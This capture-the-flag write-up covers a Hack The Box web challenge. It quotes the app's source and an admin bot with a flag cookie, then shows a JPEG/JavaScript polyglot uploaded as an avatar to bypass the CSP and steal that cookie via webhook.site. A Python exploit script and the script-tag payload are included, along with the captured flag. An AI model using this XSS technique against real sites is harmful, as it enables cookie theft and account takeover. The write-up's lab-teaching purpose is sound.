Everything starts from a dot and builds up to two. Uniting them is like a kiss in the dark from a stranger. Made up horrors to help you cope with the real ones, join us to take a bite at the two-sentence horror stories on our very own TwoDots Horror™ blog.
routes/index.js
[SNIP]]
router.get('/review', async (req, res, next) => {
if(req.ip != '127.0.0.1') return res.redirect('/');
return db.getPosts(0)
.then(feed => {
res.render('review.html', { feed });
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.post('/api/submit', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(user => {
if (user === undefined) return res.redirect('/');
const { content } = req.body;
if(content){
twoDots = content.match(/\./g);
if(twoDots == null || twoDots.length != 2){
return res.status(403).send(response('Your story must contain two sentences! We call it TwoDots Horror!'));
}
return db.addPost(user.username, content)
.then(() => {
bot.purgeData(db);
res.send(response('Your submission is awaiting approval by Admin!'));
});
}
return res.status(403).send(response('Please write your story first!'));
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.post('/api/upload', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(user => {
if (user === undefined) return res.redirect('/');
if (!req.files) return res.status(400).send(response('No files were uploaded.'));
return UploadHelper.uploadImage(req.files.avatarFile)
.then(filename => {
return db.updateAvatar(user.username,filename)
.then(() => {
res.send(response('Image uploaded successfully!'));
if(user.avatar != 'default.jpg')
fs.unlinkSync(path.join(__dirname, '/../uploads',user.avatar)); // remove old avatar
})
})
})
.catch(err => res.status(500).send(response(err.message)));
});
[SNIP]
bot.js
const puppeteer = require('puppeteer');
const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update'
]
};
const cookies = [{
'name': 'flag',
'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];
async function purgeData(db){
const browser = await puppeteer.launch(browser_options);
const page = await browser.newPage();
await page.goto('http://127.0.0.1:1337/');
await page.setCookie(...cookies);
await page.goto('http://127.0.0.1:1337/review', {
waitUntil: 'networkidle2'
});
await browser.close();
await db.migrate();
};
module.exports = { purgeData };
As a user, we can submit stories in the form of text. When we upload a valid story from POST /api/submit
it will get reviewed by a bot using purgeData()
method. The bot is a headless chromium browser, that visits every post we make, and then deletes db. The bot sets a cookie with a flag we need to obtain.
The obvious thing here is to use XSS
to steal the cookie. But this is not so easy because the app has a CSP
defense in-place.
app.use(function(req, res, next) {
res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")
next();
});
Using csp evaluator, we can see that we can use scripts from the same origin.
There aren’t any exploitable js libraries on the website.
The website allows us to change our profile picture. By doing this we upload a jpeg
picture to the server, which will be available on GET /api/avatar/<username>
. We can use this to upload a polyglot file, which has a jpeg
and a javascript
code in the same file.
When we upload the file, we have to conform to the image criteria imposed by this method.
module.exports = {
async uploadImage(file) {
return new Promise(async (resolve, reject) => {
if(file == undefined) return reject(new Error("Please select a file to upload!"));
try{
if (!isJpg(file.data)) return reject(new Error("Please upload a valid JPEG image!"));
const dimensions = sizeOf(file.data);
if(!(dimensions.width >= 120 && dimensions.height >= 120)) {
return reject(new Error("Image size must be at least 120x120!"));
}
uploadPath = path.join(__dirname, '/../uploads', file.md5);
file.mv(uploadPath, (err) => {
if (err) return reject(err);
});
return resolve(file.md5);
}catch (e){
console.log(e);
reject(e);
}
});
}
}
The image has to be a valid jpeg
and have at least 120x120 dimensions.
We can check the source code of the libraries that perform these checks and craft an image that will satisfy the restraints.
Whether the image is a jpeg
is a matter of magic bytes (more here).
Functions for checking dimensions are here.
Now it’s just a matter of putting these things together and knowledge in this article, to craft an image which satisfies the constraints and at the same time is a valid javascript
file that can be executed by a browser.
When we upload this picture, we can reference it as a <script>
in our story. When the bot checks the story, the XSS
will get triggered and we can steal the cookie.
I made a program for generating image-js polyglots.
exploit.py
#!/usr/bin/python3
import requests
import random
import os
'''
- upload polyglot as a profile pic (it has webhook inside) see hexeditor
- create new post with: <script charset="ISO-8859-1" type="text/javascript" src="/api/avatar/<username>"></script>..
- wait for callback
'''
s = requests.Session()
# create random login creds
username = random.randint(50000, 100000)
password = random.randint(50000, 100000)
remote = '188.166.173.208:30772'
url_base = 'http://' + remote
r = s.post(url_base + '/api/register', json={'username': str(username), 'password': str(password)})
r = s.post(url_base + '/api/login', json={'username': str(username), 'password': str(password)})
# fetch crafted polyglot image
avatar_file = {'avatarFile': open('_polyglot.jpg','rb')}
r = s.post(url_base + '/api/upload', files=avatar_file)
r = s.post(url_base + '/api/submit', json={'content':'<script charset="ISO-8859-1" type="text/javascript" src="/api/avatar/' + str(username) + '"></script>..'})
webhook.site caught the request
HTB{Unit3d_d0ts_0f_p0lygl0t}